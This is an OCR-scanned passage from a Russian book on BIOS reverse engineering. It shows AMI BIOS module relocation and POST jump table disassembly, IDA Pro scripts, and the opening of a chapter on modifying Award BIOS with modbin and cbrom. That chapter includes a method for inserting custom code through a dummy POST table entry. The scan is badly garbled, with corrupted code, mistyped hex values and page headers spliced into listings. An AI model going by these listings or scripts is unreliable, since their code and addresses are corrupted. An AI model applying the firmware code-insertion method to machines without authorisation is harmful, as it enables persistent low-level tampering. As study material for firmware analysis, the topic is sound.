; lB_02B3h) в сегмент F_seg
1352:0120
1352:0123
1352:0127
movecx, edx
andecx, 3
jz short no_relocation
; Первый проход: выполнятся переход
1352:0129
rep movs byte ptr es:[edi],
byte ptr [esi]
1352:012c
1352:0120
no_relocation:
1352:0120 1352:012E 1352:0130 1352:O133
13S2:oi34 1352:0134 13S2:0139 13s2:O13D i3^2:0140
pop ecx loop next_module push OFOOOh pop ds assume ds:_F0000 mov eax, cs:ea_dest_seg mov dword_F000_8020, eax push 2EF6h pop ds
; ds = 2EF6h
'352:014i 1352=0141 3352:0145 ;352=014b '3s2:014g
assume ds:nothing movds:77Ch, eax
subeax, lOOOOOh
neg eax
mov ds:780h, eax
252
Часть II. Обратная разработка BIOS материнской пла^
1352:0152
mov sp, bp
1352:0154
pop ds
1352:0155
assume ds:scratch_pad_seg
1352:0155
pop es
1352:0156
assume es:nothing
1352:0156
popad
1352:0158
retn
1352:0158
1352:0158
relocate_bios_modules endp
1352:0158
1352:0159
ea_dest_seg dd 0F0000H; ...
1352:0159
; Модифицируется в
; relocate_bios_modules
1352:0159
; Первоначальное значение = F_FFFFh
1352:015D
expand proc near; ...
1352:0150
1352:0150'src_addr = dword ptr 4
1352:0150
1352:0150
dest_addr = dword ptr 8
1352:0150
push bp
1352:0210
popad
1352:021F
pop bp
1352:0220
retn
1352:0220
expand endp ; sp = -8
Функция expand, приведенная в листинге 5.45, распаковывает сжатые компоненты BIOS. Функция relocate_bios_moduies, приведенная в листинге 5.45, перемещает распакованные элементы модуля в соответствующие им области памяти. Адреса этих областей памяти содержатся в начале распакованных компонентов BIOS И используются функцией relocate_bios_modules для выполнения перемещения. В рассматриваемом случае, начальным адресом раС' пакованного компонента BIOS в данный момент является 1А_ооооь. Диапазо ны адресов для компонентов BIOS показаны в листинге 5.46.
0000:001А0000dw lEh0000:001А0002dw 2B4h0000:001А00020000:001А0000dw lEh0000:001А0002dw 2B4h0000:001А0002Листинг 5.46. Расположение компонентов BIOS в памяти
0000:001А0000dw lEh
0000:001А0002dw 2B4h
0000:001А0002
0000:001А0000dw lEh
0000:001А0002dw 2B4h
0000:001А0002
; Номер компонента
; Размер заголовка (до начала
; системной BIOS?)
- -»я 5. Реализация BIOS материнской платы_
О0оо-««1А0004 ,000:00160004 .0000 = 00^0008
dd
OFOOOOh
; сегмент назначения = FOOOh;
dd
80010000h
; размер = 1000Oh (перемещен)
0000:ОО1АОООС о000:0°1аОООС о000:001А0010
dd
27710h
; сегмент назначения = 2771b;
dd
80007846h
; размер = 784 6h (перемещен)
оС00:001А0014
dd
13CB0h
; сегмент назначения = 13CBh;
о000:001А0014
з000:ОО1АОО18
dd
80006C2Fh
; размер = 6C2Fh (перемещен)
0000;ОО1АОО1С
dd
OEOOOOh
; сегмент назначения = ЕОООЬ;
0000:001А001С
0000:001А0020
dd
80005AC8h
; размер = 5АС8Ь (перемещен)
0000:001А0024
dd
223B0h
; сегмент назначения = 223Bh;
0000:001А0024
0000:001А0028
dd
80003E10h
; размер = 3E10h (перемещен)
0000:001А002С
dd
0E5AD0h
; сегмент назначения = E5ADh;
0000:001А002С
0000:001A0030
dd
SOOOOOODh
; размер = Dh (перемещен)
0000:001А0034
dd
13520h
; сегмент назначения = 1352h;
0000:001А0034
0000:001А0034
0000:001А0038
dd
789h
; размер = 789h ;(НЕ перемещен)
0000:001А003С
dd
261C0h
; сегмент назначения = 261Ch;
0000:001A003C
0000:001А0040
dd
80000528h
; размер = 528h (перемещен)
0000:001А0044
dd
40000h
; сегмент назначения = 4000h;
0000:001А0044 °000:001А0048
dd
80005D56h
; размер = 5D56h (перемещен)
°000:001А004С
dd
0A8530h
; сегмент назначения = A853h;
°°00:001А004С 00°0:001А0050
dd
800082FCh
; размер = 82FCh (перемещен)
°°°о: 001А0054
dd
49A90h
; сегмент назначения = 49A9h;
°°00:001А0054
°°°0:001А0058
dd
80000A29h
; размер = A29h (перемещен)
°°°0:001А005С
dd
45D60h
; сегмент назначения = 45D6h;
°°°0:001А005С 1,000 = 001А0060
dd
80003D28h
; размер = 3D28h (перемещен)
°00°:001А0064
dd
OAOOOOh
; сегмент назначения = AOOOh;
^0°:001аоо64 °°О:ОО1аоО68 ^°°:001А00бС
dd
80000055b
; размер = 55h (перемещен)
dd
0A0300h
; сегмент назначения = АОЗОЬ;
°°0:0О1АООбС
; размер = 50h (перемещен)
254
Часть II. Обратная разработка BIOS материнской пп^^
0000:001А0070
dd 80000050b
0000:001A0074
dd 400h; Сегмент назначения = 40h;
0000:001A0074
; размер = llOh (HE перемещен)
0000:001A0078
dd 110b
0000:001A007C
dd 51Oh; Сегмент назначения = 51h;
0000:001A007C
; размер = 13h (HE перемещен)
0000:001A0080
dd 13h
0000:001A0084
dd lA8E0h; сегмент назначения = lA8Eh;
0000:001A0084
; размер = 7AD0h (перемещен)
0000:001A0088
dd 80007AD0h■
0000:001A008C
dd Oh; Сегмент назначения = Oh;
0000:001A008C
; размер = 400h (HE перемещен)
0000:001A0090
dd 400h
0000:001A0094
dd 266F0h; Сегмент назначения = 266Fh;
0000:001A0094
; размер = lOlFh (перемещен)
0000:001A0098
dd 8000101Fh
0000:001A009C
dd 2EF60h; сегмент назначения = 2EF6h;
0000:001A009C
; размер = C18h (перемещен)
0000:001A00A0
dd 80000C18h
0000:001A00A4
dd 30000h; сегмент назначения = 3000h;
0000:001A00A4
; размер = 10000h(HE перемещен)
0000:001A00A8
dd lOOOOh
0000:001A00AC
dd 4530h; сегмент назначения = 453h;
0000:001A00AC
; размер = EFFOh (HE перемещен)
0000:001A00B0
dd OEFFOh
0000:001A00B4
dd 0A8300h; сегмент назначения = A830h;
0000:001A00B4
; размер = 23Oh (перемещен)
0000:001A00B8
dd 80000230h
0000:001A00BC
dd 0E8000h; сегмент назначения = E800h;
0000:001A00BC
; размер = 8000h(HE перемещен)
0000:001A00C0
dd 8000h
0000:001A00C4
dd 0A7D00h; сегмент назначения = A7D0h;
0000:001A00C4
; размер = 200h(HE перемещен)
0000:001A00C8
dd 200h
0000:001A00CC
dd 0B0830h; сегмент назначения = B083h;
0000:001A00CC
; размер = FOh (перемещен)
0000:001A00D0
dd 800000F0h
0000:001A00D4
dd 0A8000h; сегмент назначения = A800h;
0000:001A00D4
; размер = 200h (HE перемещен)
0000:001A00D8
dd 200h
0000:001A00DC
dd 530h; Сегмент назначения = 53h;
0000:001A0ODC
; размер = 4000h(HE перемещен)
лП00:^°^°^°
dd 4000h
000О=ОО1АООВ4
dd 0A7500h; сегмент назначения = A750h;
000O:OOlAOOE4
; размер = 80Oh(HE перемещен)
0000:O°1AOOE8
dd 800h
0000:O01AOOEC
dd OCOOOOh; сегмент назначения = COOOh;
000O:OOlAOOEC
;размер = 20000h(HE перемещен)
^OOPt
dd 20000h
Как показано в листинге 5.46, размеры диапазонов адресов, в которых будут пазметены компоненты BIOS, закодированы. Самый старший бит поля размера модуля (бит 31 во втором двойном слове каждого элемента) — это флаг, указывающий, требуется ли перемещать соответствующий компонент. Если ЭТот бит установлен, компонент перемещается, в противном случае — нет. Обратите внимание, что текущий сегмент, в котором исполняется код (i352h), также содержится в диапазонах адресов, приведенных выше. Но этот факт не означает, что код, выполняющийся в данный момент, будет преждевременно
перезаписан. Преждевременной перезаписи исполняющегося в данный момент кода не произойдет, так как соответствующий ему диапазон адресов защищен от записи, т. е. бит 31 не установлен.. Для перемещения компонентов BIOS в данном двоичном файле AMI BIOS я применяю сценарий IDA Pro, приведенный в листинге 5.47.
Чистинг 5Л7. Сценарий для перемещения компонентов BIOS
/*
relocate_bios_modules. ide
Имитация процедуры relocate_bios_module по адресу 1352h:00Alh - 1352h:0158h
*/
include <idc.idc>
statio main (void) (
uto bin_base, hdr_size, src_ptr, hdr_ptr, ea_module;
dUt0 ^dule-cnt, EA_DEST_SEG, module_size, dest_ptr; auto
scr, _eax;
^-DEST-SEG = [0x1352, 0x159];
^'baSe = OxlAOOOO;
-size = Word(bin_base + 2)
hdr_ptr = bin_base; /* hdr_ptr = ss:[bx] */
module_cnt = Word(hdr_ptr); /* ecx = ss:[bx]*/
src_ptr = bin_base + hdr_size; /* esi += edx */
/* Следующий модуль */ while( module_cnt > 0) {
hdr_ptr = hdr _ptr + 4; ea_module = Dword(hdr_ptr);
if( ea_module >= OxEOOOO ) {
if( ea_module < Dword(EA_DEST_SEG))
{ PatchDword(EA_DEST_SEG, ea_module);
) )
/* dest_below_Eseg */
hdr_ptr = hdr_ptr + 4;
module_size = Dword(hdr_ptr);
if(module_size & 0x80000000) {
module_size = module_size & 0^7FFFFFFF;
str = form("relocating module: %Xh ; ", ea_module » 4); str = str + form("size = %Xh\n", module_size);
Message(str);
SegCreate(ea_module, ea_module + module_size, ea_module » 4, 0, 0, 0) ;
dest_ptr = ea_module;
while( module_size > 0 ) {
PatchByte(dest_ptr, Byte(src_ptr));
src_ptr = src_ptr + 1;
dest_ptr = dest_ptr + 1;
module_size = module_size - 1;
)
. к реализация BIOS материнской платы
r ^„relocation */ ^dule-cnt = module_cnt - 1;
р push OFOOOh; pop ds */ eaX = Dword(EA_DEST_SEG) ;
patchDword([0xF000, 0x8020], _eax) ;
patchDword( [0x2EF6, 0x77C], _eax) ;
r - form("2EF6:77Ch = %Xh \n", Dword([0x2EF6, 0x77C]));
Message (str);
_eax = 0x100000 - _eax;
PatchDword( [0x2EF6, 0x780], _eax) ;
str = ГогтСгЕРб^вОН = %Xh \n", Dword ([ 0x2EF6, 0x780]));
Message (str) ;
return 0; )
После того как компоненты BIOS будут перемещены, исполнение продолжится инициализацией некоторых конфигурационных регистров PCI. Процедура инициализирует регистры чипсета, которые управляют затенением BIOS, с тем, чтобы подготовить исполнение процедуры POST. Исполнение кода начальной загрузки на этом завершается, и начинается исполнение системной BIOS с перехода к процедуре Execute_POST. Работа этой функции рассматривается в следующем подразделе.
Дизассемблирование системной AMI BIOS
Обратная разработка системной BIOS для данной версии AMI BIOS была ОсУЩествлена путем анализа исполнения ее таблицы переходов POST. Исполнение таблицы переходов POST начинается с межсегментного перехода м°дуля интерфейса в сегмент 277ih, как показано в листинге 5.48.
Устинг 6.48. Исполнение таблицы переходов POST ^2:0044 mov sp, 4000h
41 ]np far ptr Execute_POST ; Исполняется POST
258
Часть II. Обратная разработка BIOS материнской
2771:3731
Execute_POST:
2771:3731
2771:3732
2771:3733
cli
cld
call init_ds_es_fs_gs
2771:3736
call init_interrupt_vector
2771:3739
mov si, offset POST_jump_table
2771:373C
2771:373C
next_POST_routine:; ...
2771:373C
push eax
2771:373E
mov eax, cs:[si + 2]
2771:3743
movfs:POST_routine_addr,
eax
2771:3748
mov ax, cs:[si]
2771:374В
mov fs:_POST_code, ax
2771:374F
cmp ax, OFFFFh
2771:3752
jzshort no_POST_code_processing
2771:3754
mov fs:POST_code, ax
2771:3758
call process_POST_code
2771:375D
2771:375D
no_POST_code_processing:; ...
2771:375D
pop eax
2771:375F
xchg si, cs: top
2771:3764
call _exec_POST_routine
2771:3769
xchg si, cs: top
2771:376E
addsi, 6
2771:3771
cnp si, 342h; Проверка, достигнут ли конец
2771:3771
; таблицы перехода POST.
2771:3775
jb short next_POST_routine
2771:3777
hit; Останавливаем исполнение при
2771:3777
; ошибке в POST.
^а^ь,
Перед началом исполнения таблицы переходов POST, процедура в сегменте 277ih инициализирует все сегментные регистры, которые будут использоваться, и инициализирует процедуру предварительных прерываний. Дизассемблированный код процедуры инициализации сегментных регистров показан в листинге 5.49.
Листинг 5.49. Инициализация регистров сегментов перед исполнением POST
2771:293F init ds es fs qs proc near
2771:293F push 40h ; '©'
2771:2942 pop ds
яЯ 5. Реализация BIOS материнской платы
^даА
push
0
2771 = 2945
pop
es
.771 = 29 46
push
2EF6h
^771:2949
pop
fs
27,1:294В
push
OFOOOh
2771:294Е
pop
gs
2771:2950
2771:2950
retn
init_ds_
es fs gs endp
Таблица переходов POST находится в начале сегмента 277ih, как показано в листинге 5.50.
!|истинг5.50. Таблица переходов POST
2771:0000 POST_junp_table dw3 ; ...
2771:0000; Код POST : 3h
2771:0002 dd 2771377Eh; Процедура POST по адресу 2771:377Eh
2771:0006 dw 4003h; POST code : 4003h
2771:0008 dd 27715513b; Процедура POST по адресу 2771:5513h (фиктивная)
2771:000C dw 4103h; POST code : 4103h
2771:000E dd 27715B75h; Процедура POST no адресу 2771:5B75h (фиктивная)
2771:0012 dw 4203h; POST code : 4203h
2771:0014 dd 2771551Ah; Процедура POST no адресу 2771:551Ah (фиктивная)
2771:0018 dw 5003h; POST code : 5003h
2771:001A dd 27716510h; Процедура POST по адресу 2771:6510h (фиктивная)
2771:001E dw 4; POST code : 4h
2771:0020 dd 27712A3Fh; Процедура POST по адресу 2771:2A3Fh
2771:0024 dw ?; Код POST : FFFFh
2771:0026 dd 27712AFEh; Процедура POST по адресу 2771:2AFEh
2771:002A dw ?; КОД POST : FFFFh
2771:002c dd 27714530b; Процедура POST по адресу 2771:4530h
2771;оозо dw 5; POST code : 5h
2771:0032 dd 277138B4h; Процедура POST no адресу 2771:38B4h
2771:0036 dw 6; POST code : 6h
71.0038 dd 27714540b; Процедура POST по адресу 2771:4540h
2771:003C dw ?; КОД POST : FFFFh
1-003E dd 277145D5h; Процедура POST по адресу 2771:45D5h
;0042 dw 7; POST code : 7h
-0044 dd 27710A10h; Процедура POST по адресу 2771:0A10h
^71:0048 dw 7; POST code : Th
■004a dd 27711CD6h; Процедура POST no адресу 2771:lCD6h
Обратите внимание, что в листинге 5.50 показана лишь часть таблицы пере ходов POST. Чтобы проанализировать элементы таблицы переходов Posy можно воспользоваться сценарием IDA Pro, показанным в листинге 5.51. ’
Листинг 5.51. Сценарий для анализа таблицы переходов POST
/* parse_POST_jump_table. ide
Имитируется исполнение POST по адресу 2771:3731h - 2771:3775h */
#include <idc.idc>
static main(void) {
auto ea, func_addr, str, POST_JMP_TABLE_START, POST_JMP_TABLE_END;
POST_JMP_TABLE_START = [0x2771, 0];
POST_JMP_TABLE_END = [0x2771, 0x342];
ea = POST_JMP_TABLE_START;
while(ea < POST_JMP_TABLE_END) (
/* Подготавливаем комментарии */ MakeWord(ea);
str = form("Код POST: %Xh", Word(ea));
MakeComm(ea, str) ;
MakeDword(ea + 2);
str = form(" Процедура POST по адресу %04X:%04Xh", Word(ea + 4), Word(ea + 2))» MakeComm(ea + 2, str) ;
str = form ("Обрабатывается элемент POST по адресу 2771:%04Xh\n", ea - 0x27710
Message(str);
/* Анализируем элементы POST */
func_addr = (Word(ea + 4) « 4) + Wordtea + 2);
AutoMark(func_addr,AU_CODE);
AutoMark(func_addr,AU_PROC);
Wait() ;
[-рава^:
р кодифицируются комментарии для фиктивных элементов POST */ ^{ gyte(func_addr) == ОхСВ)
{
str = form("Процедура POST по адресу %04X:%04Xh (фиктивная)", Word(ea + 4), Word(ea + 2));
MakeComm(ea + 2, str);
)
ea = ea + 6;
)
)
Элементы таблицы переходов POST, обозначенные "фиктивная" в листинге 5.51, не выполняют никаких операций. Они просто исполняют инструкцию retf и возвращают управление вызвавшей процедуре. С этого момента, процесс дизассемблирования системной BIOS не представляет никаких трудностей, так как уже были обозначены элементы таблицы переходов POST и выполнен их предварительный анализ. Вследствие ограниченного объема данной книги, я не буду вдаваться в подробный анализ дальнейших действий. Для анализа системной BIOS требуется всего лишь проследить ход исполнения этой таблицы переходов POST.
Глава 6
Модифицирование BIOS
Введение
В данной главе рассматриваются принципы модифицирования BIOS и применяемые для этого методы. Все технологии, которые были рассмотрены в предыдущих главах, здесь сводятся в единый концептуальный проект. Тем самым снимается покров загадочности и тайны с процесса систематического модифицирования BIOS, овладеть которым было под силу лишь немногим. Примеры, в основном, концентрируются на модифицировании Award BIOS.
Необходимые инструменты
В любой профессии эффективность и качество работы напрямую зависит от инструментов, используемых для ее выполнения. Этот принцип действителен и для задач, связанных с модифицированием BIOS. Поэтому, прежде чем приступить к работе, ознакомимся с инструментами, которые нам будут необходимы для этой цели. Итак, для выполнения поставленной задачи вам потребуются:
Дизассемблер. Лучшим из имеющихся дизассемблеров является, безусловно, IDA Pro. Дизассемблер служит для того, чтобы разобраться с двоичным кодом BIOS, правильно определить в нем местоположение ДлЯ выполнения необходимых модификаций. Бесплатную версию дизассемблера IDA Pro можно скачать с сайта http://www.dirfile.com/ida_pro- freeware_version.htm.
Нех-редактор. Шестнадцатеричные редакторы используются для внесе ния изменений в двоичный код BIOS. Для этих целей подойдет любой Ш6 стнадцатеричный редактор, и вы можете выбрать любую из программ этог°
тИПа по своему вкусу, хотя я рекомендую пользоваться шестнадцатеричным редактором Hex Workshop версии 4.23. Для наших целей наиболее полезна будет возможность вычисления контрольной суммы указанного фрагмента файла, открытого в Hex Workshop.
Ассемблер. Я рекомендую пользоваться ассемблером FASMW.1 Этот транслятор является бесплатным программным обеспечением, и доступен для скачивания по следующему адресу: http://flatassembler.net/download.php.
Modbin. Эта утилита применяется для просмотра компонентов Award BIOS и для модифицирования системной BIOS. Существует два вида утилиты modbin — modbin 6 для Award BIOS версии 6.00PG и modbin 4.50.хх для Award BIOS версии 4.5xPG. Ее можно скачать с сайта http://www.biosmods.com в разделе для скачивания. Она также применяется для вычисления контрольной суммы BIOS после ее изменения. Если вы не собираетесь изменять системную BIOS, то утилита modbin вам не нужна. Однако если вы хотите самостоятельно выполнить все эксперименты, описанные в данной главе, вам потребуется обзавестись этой утилитой.
Cbrom. С помощью этой утилиты просматривается информация о компонентах, содержащихся в двоичном файле Award BIOS. Кроме того, Cbrom используется для добавления новых компонентов в двоичный файл Award BIOS и удаления из него существующих компонентов. Утилита Cbrom доступна для бесплатного скачивания с сайта http://www.biosmods.com в разделе для скачивания. Обратите внимание, что существует множество версий этой утилиты. Я не могу сказать, какой именно версией нужно пользоваться в общем случае. Если модифицируется Award BIOS версии 6.00PG, попробуйте новейшую версию; в иных случаях, попробуйте одну из более ранних версий. Если модифицируется только системная BIOS, а прочие компоненты файла Award BIOS остаются неприкосновенными, то Cbrom вам не потребуется.
Техническая документация на чипсет. Технические спецификации необ- ^одимы только в том случае, если вы собираетесь разработать "заплатку" Для «установок соответствующего чипсета. Для осуществления модификации, Демонстрируемой в этой главе, вам потребуется техническая докуМентация на чипсет VIA 693А. Ее можно скачать по адресу http;//www.rom.by/doki.htm.
стакже упомянуть наиболее полное собрание утилит для работы
Ное $ BNOBTC (Borg Number One's BIOS Tool Collection — Первокласс- собрание утилит BIOS Борга). Однако его унифицированный указатель
еРсИя ассемблера FASM для Windows.
ресурса (URL) иногда меняется, так что вам, возможно, придется прибегну^ к услугам поисковой системы, например Google, чтобы найти самый свеж^ URL. Кроме того, на момент написания этой книги, разработчик ресурСа больше не предоставлял его для свободного скачивания со своего сайта. Тек| не менее, если вы проявите достаточную настойчивость, вы сможете найтц этот пакет на других сайтах, посвященных модификации BIOS.
Начнем наше рассмотрение утилит для работы с BIOS с программы modbin Консольная утилита modbin предназначена для модификации системной BIOS двоичного файла Award BIOS. Существуют две версии данной утилиты — по одной для каждой из версий Award BIOS. Но приемы работы с обеими версиями одинаковы — необходимый файл просто загружается в modbin, и его системная BIOS модифицируется должным образом. Кроме этого, modbin имеет одну полезную недокументированную возможность: когда модифицируется загруженный двоичный файл, modbin извлекает из него компоненты Award BIOS и помещает их во временные файлы. Каждая из двух версий modbin извлекает разные компоненты, но обе они извлекают системную BIOS. Кроме того, обе версии при сохранении изменений упаковывают все временные файлы в один действительный двоичный файл Award BIOS. Рассмотрим, как протекает данный процесс.
Версия modbin 4.50.80С извлекает следующие компоненты из двоичного файла Award BIOS версии 4.50PG:
Bios.гот. Это сжатая версия последних 128 Кбайт файла BIOS, содержащая первоначальный сжатый файл original.tmp, блок начальной загрузки и код распаковщика.
Original.tmp. Распакованная системная BIOS.
Рабочее окно modbin 4.50.80С и созданные временные файлы показаны на рис. 6.1.
Версия modbin 2.01 извлекает следующие компоненты из двоичного файла Award BIOS версии 6.00PG:
Mlstring.bin. Сжатая версия файла of_en_code.bin.
Original.tmp. Распакованная системная BIOS.
Xgroup.bin. Распакованное расширение системной BIOS.
Рабочее окно утилиты modbin6 v.2.01.01 и созданные временные файлы пока заны на рис. 6.2.
Кроме перечисленных файлов, modbin может извлечь также другие компонеИ ты. Но в данном случае нас интересуют только распакованные системна* BIOS и расширение системной BIOS, так как оба эти компонента предоста6
ляют возможность без проблем модифицировать основной код BIOS.
Рис. 6.1. Рабочее окно Modbin 4.50.80С и временные файлы
Рис. 6.2. Рабочее окно Modbin6 2.01.01 и временные файлы
Как видно из рис. 6.1 и 6.2, во время исполнения modbin создаются времен- Hbie распакованные компоненты Award BIOS. Таким образом, когда эти временные файлы существуют, можно модифицировать временно сохраненную С11стемную BIOS (файлы original.tmp или original.bin). Общий результат вменений, внесенных в этот двоичный код, будет наложен на весь двоичный Файл BIOS при сохранении изменений и выходе из утилиты. Утилита упако- Вь,вает модифицированный временный файл системной BIOS в сохраненный Збоичный файл BIOS прозрачно для пользователя. Как можно видеть, это Зобный способ внесения модификаций в системную BIOS. Вам также не нужно
заботиться о вычислении контрольных сумм, так как modbin исправит цх Для модификации BIOS с помощью modbin можно воспользоваться следуй щим методом, в работоспособности которого я лично убедился на практике-
Откройте в modbin двоичный файл BIOS, который требуется модифици ровать.
В шестнадцатеричном редакторе откройте временный файл системной BIOS (original.tmp или original.bin), созданный в ходе выполнения пункта 1 и внесите в него требуемые изменения. На данном этапе также можно скопировать распакованную системную BIOS в другую папку, чтобы впоследствии исследовать ее с помощью дизассемблера. Но помните, что при этом утилита modbin должна быть запущена или активна.
Сохраните изменения и закройте modbin.
Нужно отметить, что оба варианта modbin без каких бы то ни было проблем работают под Windows ХР с установленным SP2 (service pack 2 — пакет обновлений 2). Утилита позволяет изменять установки BIOS, показывать скрытые опции, модифицировать значения по умолчанию и т. п. Я не буду описывать все ее возможности, так как их легко изучить в процессе работы с modbin. Но нужно отметить один важный момент — в modbin 6 версии 2.01.01 имеются проблемы с обработкой некоторых Award BIOS объемом в 512 Кбайт и 1 Мбайт. А именно изменения, внесенные в системную BIOS путем выполнения вышеописанной процедуры, не сохраняются в двоичном файле BIOS. В таком случае, можно сжать модифицированную системную BIOS с помощью LHA и заменить первоначальную системную BIOS в двоичном файле BIOS, а затем произвести какие-либо изменения с помощью modbin6 версии 2.01, чтобы пересчитать контрольные суммы.
Следующий инструмент, с которым нам предстоит ознакомиться — это cbrom. Существует множество версий этой утилиты, но все они предоставляют аналогичные возможности — вставку, извлечение и удаление компонентов BIOS, а также просмотр информации о компонентах, входящих в состав двоичного файла Award BIOS. Cbrom не может извлекать или вставлять системную BIOS. Эти возможности она предоставляет только для расширь ний системной BIOS. Cbrom часто используют совместно с modbin — с помощью cbrom модифицируются компоненты, отличные от системной ВЮ^ а с помощью modbin осуществляется изменение системной BIOS. Как и modbin, cbrom также представляет собой консольную утилиту. Давайте раС смотрим ее работу.
На рис. 6.3 показаны команды, которые можно исполнять в cbrom. Просмот реть опции cbrom и их краткое описание можно стандартным образов
обно тому, как просматривались опции команд DOS. Для этого достаточно ввести с клавиатуры команду cbrom /?.
Теперь рассмотрим, как пользоваться этой утилитой. Дия примера, извлечем из оичного файла BIOS материнской платы Iwill VD133 расширение системной BIOS, а затем вставим его обратно. Эта BIOS основана на коде Award BIOS версии 4.50PG. Поэтому, при исполнении процедуры POST, расширение ее системной BIOS распаковывается в сегмент 4i00h, а не в сегмент юоон, как мы видели при дизассемблировании Award BIOS в главе 5.
с v ^WS\5ystem32\<y.id.eK,___ ^мННИЯЯЯЕВй!
[ГТrogram он* batch file.
\OLCBSDARMAUAN>cbrom /?
ROM J 2.07 <C>Award Software 2000 All Rights Reserved. r>MXl
I .„\CBROM.EXE InputFile [/other] 18600:9) [RomFile[Release[Extract 1
.\CBROM.EXE InputFile t/D*logoluga....l [RomFile[Release‘Extract 1 InputFile : System BIOS to be added with Option ROMs /В: For display all combined ROMs informations in BIOS
/ераSepal-? : Add EPA LOGO BitMap to System BIOS /logollogol-7: Add OEM LOGO BitMap to System BIOS /oemO-7 : Add special OEM ROM to System BIOS /err: Return error code after executed
/btvga: Add UGA ROM to Boot Rom Block Area.
/isa: Add ISA BIOS ROM to System BlOS.C/isa Filename Ixxxx:9)>
/мда, /logo, /pci, /awdflash, /cpucode, /ера, /acpitbl, /vsa, /hpm /hpc, /fntO - 5, /ros, /nnoprom, /mib, /group
RomFile : File name of option ROM to add-in Release: Release option ROM in current system BIOS
Extract: Extract option ROM to File in current system BIOS
(<< Examples >»
I:s...\CBROM.EXE 2a4ib090.bin /D
I :\OLGA\DARMAUAN>„
Рис. 6.3. Опции утилиты cbrom
Листинг 6.1 демонстрирует извлечение расширения системной BIOS из данного двоичного файла BIOS с помощью cbrom.
Устинг 6.1. Извлечение расширения системной BIOS из двоичного файла BIOS Мат®ринской платы Iwill VD133 с помощью утилиты cbrom
^XBIOS_M~1>CBROM207.EXE VD30728.BIN /other 4100:0 release ROM V2.07 (C)Award Software 2000 All Rights Reserved, ther] rcm is release
\BIOS_M~1>
"othaT|HTe внимание> что название расширения системной BIOS указано как е- (ин°й)- Расширение системной BIOS можно вставить обратно в дво- ый файл BIOS следующим образом (листинг 6.2).
; Листинг 6.2. Вставка расширения системной BIOS обратно в двоичный файл j bios
E:\BIOS_M~1>CBROM207.EXE VD30728.BIN /other 4100:0 awardext.rom
CBROM V2.07 (C)Award Software 2000 All Rights Reserved.
Adding awardext.rom .. 66.7%
E:\BIOS_M~1>
Теперь рассмотрим методы работы с технической документацией на чипсет. Для начинающего хакера компьютерного железа, разобраться с техническими данными чипсета — это непростая задача. Первым делом вы должны ознакомиться с оглавлением технических спецификаций. А для систематического изучения технических данных чипсета, я могу порекомендовать следующую процедуру:
В оглавлении найдите, на какой странице находится блок-схема чипсета. Блок-схема чипсета — это первое, с чем нужно ознакомиться при изучении чипсета. Кроме того, необходимо понимать принцип работы шинного протокола чипсета или, по крайней мере, знйть применяемый конфигурационный механизм.
Ознакомьтесь с таблицей системных адресов данного чипсета. По ней можно узнать ресурсы конкретной системы и другую важную информацию, касающуюся использования пространства адресов памяти и ввода- вывода в данной системе.
Наконец, ознакомьтесь с информацией об установках регистров чипсета. От установки регистров чипсета зависит общая производительность материнской платы при исполнении кода BIOS. Часто причиной ошибок в работе материнской платы является неправильная инициализация значении регистров чипсета.
Кроме этого, вам может потребоваться и дополнительная информация, ознакомиться с которой вам необходимо самостоятельно.
Чем большее количество спецификаций на различные чипсеты вы изучите, теМ легче вам будет изучать технические данные каждого нового чипсета. Техни ческие данные чипсета необходимо знать, если вы хотите разработать заплат^ на BIOS, которая модифицирует установки регистров чипсета во время w
после процедуры POST, перед тем как загрузится операционная система. Теперь, приобретя необходимый минимум знаний, можно приступить к м° дификации BIOS. Именно эта тема и обсуждается в следующем разделе.
§ 2. Вставка кода
^ставка кода в BIOS является одним из продвинутых методов модификации glOS. В данном разделе мы рассмотрим, как вставлять в BIOS код, который 5удет исполняться во время начальной загрузки, когда BIOS инициализирует систему. Существует несколько методов, с помощью которых можно вста- йТЬ код собственной разработки в исполняемый файл Award BIOS. Вот не
сколько из них.
Вставка в таблицу переходов POST в системной BIOS инструкции безусловного перехода к модифицированной оригинальной или самостоятельно разработанной подпрограмме. Этот способ применим к различным версиям Award BIOS", и поэтому именно на нем мы будем концентрировать основное внимание.
Перенаправление одного из переходов в коде начальной загрузки к модифицированной или самостоятельно разработанной и вставленной процедуре. В данном случае, вставленная процедура также помещается в область кода начальной загрузки. Но данный способ имеет некоторые недостатки, так как количество байтов-заполнителей в блоке начальной загрузки ограничено. Таким образом, вставляемый код должен поместиться в ограниченное количество байтов. Кроме того, нельзя вставлять код, в котором используется стек, поскольку во время исполнения кода начальной загрузки стек недоступен. По этим причинам здесь не рассматривается данный способ.
Создание BIOS расширения ISA и вставка ее в двоичный файл BIOS с помощью утилиты cbrom. Этот способ хорошо работает со старыми версиями Award BIOS, в основном с версией 4.50PG. Он работает и с Award BIOS версии 6.00PG, однако поддерживаются не все двоичные файлы этой версии. Помимо этого, имеются некоторые проблемы с применением дан- иого способа к системам с модифицированной BIOS. Поэтому данный способ здесь также не рассматривается.
Таким образом, в оставшейся части этой главы рассматривается только спо- ^ вставки кода в таблицу переходов POST. Как мы помним из разд. 5.13.2, системной BIOS имеется таблица переходов POST, с помощью которой вы- ваются процедуры POST во время исполнения системной BIOS.
.0Q^ecTByeT две основных версии кода Award BIOS — версия 4.50PG и версия ваех Также существует несколько неопределенная версия кода Award BIOS, назы- Чае-^ ВбрСИей ^* ^° сРеди последних выпусков Award BIOS данная версия не ветре-
Основной идеей, на которой основана вставка кода, является замена "фИ|( тивного" элемента в таблице переходов POST на смещение, указывающее На процедуру, разработанную вами и помещенную в секцию с байтами- заполнителями системной BIOS. Чтобы применить данный метод на практи. ке, выполните следующие действия:
Дизассемблируйте файл Award BIOS в IDA Pro и найдите таблицу перехо. дов POST в системной BIOS. Желательно начать дизассемблирование с кода начальной загрузки и продолжить по направлению к системной BIOS. Но можно также пойти коротким путем и сразу же перейти к точке входа распакованной системной BIOS по адресу F000:F80Dh.
Просмотрите таблицу переходов POST и отыщите в ней переход к фиктивной процедуре. Если такой переход имеется, можно продолжать процесс модификации BIOS. В противном случае, следует остановиться на данном шаге, так как вставить код в BIOS с помощью этого способа будет невозможно.
Ассемблируйте вашу индивидуально разработанную процедуру с помощью FASMW. Запомните или запишите размер ее двоичного кода. Всегда следует стремиться к тому, чтобы созданная вами процедура была как можно более компактной, с тем, чтобы она поместилась в свободное пространство в системной BIOS, занимаемое на данный момент байтами- заполнителями.
С помощью утилиты modbin, извлеките оригинальную системную BIOS из двоичного файла BIOS.
